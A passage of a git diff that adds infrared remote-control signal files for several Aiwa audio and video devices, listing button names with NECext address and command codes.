NECext +address: 6E 00 00 00 +command: 17 00 00 00 +# +name: Prgm +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 19 00 00 00 +# +name: KEY_TAPE +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1B 00 00 00 +# +name: KEY_TUNER +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1C 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1D 00 00 00 +# +name: KEY_CD +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1F 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 40 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 41 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 42 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 43 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 44 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 45 00 00 00 +# +name: T-Bass +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 47 00 00 00 +# +name: BBE +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 48 00 00 00 +# +name: GEQ +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 49 00 00 00 +# +name: DSP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 4A 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 4D 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 4E 00 00 00 +# +name: direct_1 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 51 00 00 00 +# +name: direct_2 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 52 00 00 00 +# +name: direct_3 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 53 00 00 00 +# +name: Disc_Skip +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 56 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-X97/134,19.ir b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-X97/134,19.ir new file mode 100644 index 000000000..90db0cee1 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-X97/134,19.ir @@ -0,0 +1,68 @@ +Filetype: IR signals file +Version: 1 +# +name: off +type: parsed +protocol: NECext +address: 86 13 00 00 +command: 00 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 86 13 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 86 13 00 00 +command: 10 00 00 00 +# +name: disc_tune+ +type: parsed +protocol: NECext +address: 86 13 00 00 +command: 11 00 00 00 +# +name: disc_tune- +type: parsed +protocol: NECext +address: 86 13 00 00 +command: 12 00 00 00 +# +name: radio_band +type: parsed +protocol: NECext +address: 86 13 00 00 +command: 13 00 00 00 +# +name: KEY_TAPE +type: parsed +protocol: NECext +address: 86 13 00 00 +command: 14 00 00 00 +# +name: ff_next +type: parsed +protocol: NECext +address: 86 13 00 00 +command: 16 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 86 13 00 00 +command: 17 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: 86 13 00 00 +command: 1B 00 00 00 +# +name: preset_scan +type: parsed +protocol: NECext +address: 86 13 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-XR-MD201/110,0.ir b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-XR-MD201/110,0.ir new file mode 100644 index 000000000..9b30d8bfe --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-XR-MD201/110,0.ir @@ -0,0 +1,248 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 09 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0A 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0B 00 00 00 +# +name: timer +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0C 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0E 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 11 00 00 00 +# +name: mono +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 12 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 14 00 00 00 +# +name: random +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 15 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 16 00 00 00 +# +name: KEY_EDIT +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 17 00 00 00 +# +name: program +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 19 00 00 00 +# +name: KEY_TUNER +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1C 00 00 00 +# +name: KEY_AUX +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1D 00 00 00 +# +name: KEY_CD +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1F 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 40 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 41 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 42 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 43 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 44 00 00 00 +# +name: t-bass +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 47 00 00 00 +# +name: bbe +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 48 00 00 00 +# +name: eq +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 49 00 00 00 +# +name: qsurround +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 4A 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 4D 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 4E 00 00 00 +# +name: md +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 70 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 71 00 00 00 +# +name: drec +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 72 00 00 00 +# +name: md_mark +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 73 00 00 00 +# +name: KEY_MODE +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 76 00 00 00 +# +name: tit_inp +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 77 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-ZAS02/110,0.ir b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-ZAS02/110,0.ir new file mode 100644 index 000000000..1027d3afe --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-ZAS02/110,0.ir @@ -0,0 +1,140 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 09 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0A 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0B 00 00 00 +# +name: FUNCTION +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1E 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 40 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 41 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 42 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 43 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 44 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 4D 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 4E 00 00 00 +# +name: CD1 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 51 00 00 00 +# +name: CD2 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 52 00 00 00 +# +name: CD3 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 53 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-ZAS10/110,0.ir b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-ZAS10/110,0.ir new file mode 100644 index 000000000..7d20431ac --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-ZAS10/110,0.ir @@ -0,0 +1,116 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 09 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0A 00 00 00 +# +name: N10 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0B 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 40 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 41 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 42 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 43 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 44 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 4D 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 4E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-ZAT04/112,0.ir b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-ZAT04/112,0.ir new file mode 100644 index 000000000..71a1fed29 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-ZAT04/112,0.ir @@ -0,0 +1,152 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 09 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 0A 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 0B 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 11 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 12 00 00 00 +# +name: band +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 13 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 51 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 80 00 00 00 +# +name: KEY_MODE +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 8F 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 70 00 00 00 +command: C4 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 70 00 00 00 +command: C5 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 70 00 00 00 +command: C6 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 70 00 00 00 +command: C7 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 70 00 00 00 +command: C9 00 00 00 +# +name: eq +type: parsed +protocol: NECext +address: 70 00 00 00 +command: CA 00 00 00 +# +name: function +type: parsed +protocol: NECext +address: 70 00 00 00 +command: DD 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-ZVR02/127,0.ir b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-ZVR02/127,0.ir new file mode 100644 index 000000000..2d31fb2e5 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-ZVR02/127,0.ir @@ -0,0 +1,338 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 09 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 0A 00 00 00 +# +name: TV/VCR +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 0D 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 0E 00 00 00 +# +name: Counter_Display +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 10 00 00 00 +# +name: F.Fwd +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 11 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 12 00 00 00 +# +name: Audio_MONI +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 13 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 14 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 15 00 00 00 +# +name: Pause/Still(Jog) +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 17 00 00 00 +# +name: Index_SkipForward +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 18 00 00 00 +# +name: Index_SkipBack +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 19 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 1A 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 1F 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 40 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 41 00 00 00 +# +name: Audio_DUB +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 42 00 00 00 +# +name: KEY_SAT +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 44 00 00 00 +# +name: Zero_Return +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 45 00 00 00 +# +name: Tracking_+ +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 46 00 00 00 +# +name: Tracking_- +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 47 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 48 00 00 00 +# +name: AD-Skip +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 49 00 00 00 +# +name: Counter_Reset +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 4C 00 00 00 +# +name: Tape_Speed +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 50 00 00 00 +# +name: A-TR +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 5C 00 00 00 +# +name: Tape_Remain +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 5E 00 00 00 +# +name: Fwd(Jog) +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 65 00 00 00 +# +name: Rev(Jog) +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 74 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 81 00 00 00 +# +name: VPS/PDC +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 82 00 00 00 +# +name: Arrow_Right +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 83 00 00 00 +# +name: Arrow_Left +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 84 00 00 00 +# +name: OTPB +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 89 00 00 00 +# +name: Arrow_Up +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 8D 00 00 00 +# +name: Arrow_Down +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 8E 00 00 00 +# +name: Showview_DeLuxe +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 98 00 00 00 +# +name: Add_T +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 99 00 00 00 +# +name: D/WLY +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 9A 00 00 00 +# +name: Set_Ch.No +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 9D 00 00 00 +# +name: Set_Auto +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 9E 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 9F 00 00 00 +# +name: Audio_MIX +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: B5 00 00 00 +# +name: TheatreMode_BBE +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: B9 00 00 00 +# +name: TheatreMode_Q.Surround +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: BA 00 00 00 +# +name: TheatreMode_Midnight +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: BB 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_S79/72,0.ir b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_S79/72,0.ir new file mode 100644 index 000000000..6cb2266c1 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_S79/72,0.ir @@ -0,0 +1,110 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_RADIO +type: parsed +protocol: NECext +address: 48 00 00 00 +command: 00 00 00 00 +# +name: MW +type: parsed +protocol: NECext +address: 48 00 00 00 +command: 01 00 00 00 +# +name: LW +type: parsed +protocol: NECext +address: 48 00 00 00 +command: 02 00 00 00 +# +name: TuneUp +type: parsed +protocol: NECext +address: 48 00 00 00 +command: 03 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 48 00 00 00 +command: 04 00 00 00 +# +name: TuneDown +type: parsed +protocol: NECext +address: 48 00 00 00 +command: 05 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 48 00 00 00 +command: 07 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 48 00 00 00 +command: 08 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 48 00 00 00 +command: 09 00 00 00 +# +name: Programme +type: parsed +protocol: NECext +address: 48 00 00 00 +command: 0A 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: 48 00 00 00 +command: 0B 00 00 00 +# +name: Memory +type: parsed +protocol: NECext +address: 48 00 00 00 +command: 0C 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 48 00 00 00 +command: 0D 00 00 00 +# +name: FwdSkip +type: parsed +protocol: NECext +address: 48 00 00 00 +command: 0E 00 00 00 +# +name: BackSkip +type: parsed +protocol: NECext +address: 48 00 00 00 +command: 0F 00 00 00 +# +name: VcrAux +type: parsed +protocol: NECext +address: 48 00 00 00 +command: 10 00 00 00 +# +name: Phono +type: parsed +protocol: NECext +address: 48 00 00 00 +command: 11 00 00 00 +# +name: KEY_TAPE +type: parsed +protocol: NECext +address: 48 00 00 00 +command: 12 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_hu/112,0.ir b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_hu/112,0.ir new file mode 100644 index 000000000..b57baa29e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_hu/112,0.ir @@ -0,0 +1,122 @@ +Filetype: IR signals file +Version: 1 +# +name: BAND +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 13 00 00 00 +# +name: KEY_TUNER +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 4E 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 51 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 52 00 00 00 +# +name: KEY_CANCEL +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 53 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 91 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 92 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 93 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 94 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 95 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 96 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 97 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 98 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 99 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 9A 00 00 00 +# +name: KEY_KPPLUS +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 9B 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 70 00 00 00 +command: C4 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 70 00 00 00 +command: C5 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 70 00 00 00 +command: C6 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 70 00 00 00 +command: C7 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_rc-c003/118,0.ir b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_rc-c003/118,0.ir new file mode 100644 index 000000000..ab26a7196 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_rc-c003/118,0.ir @@ -0,0 +1,242 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 09 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 0A 00 00 00 +# +name: greater_20 +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 0B 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 0C 00 00 00 +# +name: program +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 0D 00 00 00 +# +name: KEY_DELETE +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 0E 00 00 00 +# +name: check +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 0F 00 00 00 +# +name: search_forw +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 11 00 00 00 +# +name: search_back +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 12 00 00 00 +# +name: random +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 13 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 15 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 17 00 00 00 +# +name: skip_forw +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 18 00 00 00 +# +name: skip_back +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 19 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 1A 00 00 00 +# +name: repeat_1_all +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 1B 00 00 00 +# +name: repeat_a_b +type: parsed +protocol: 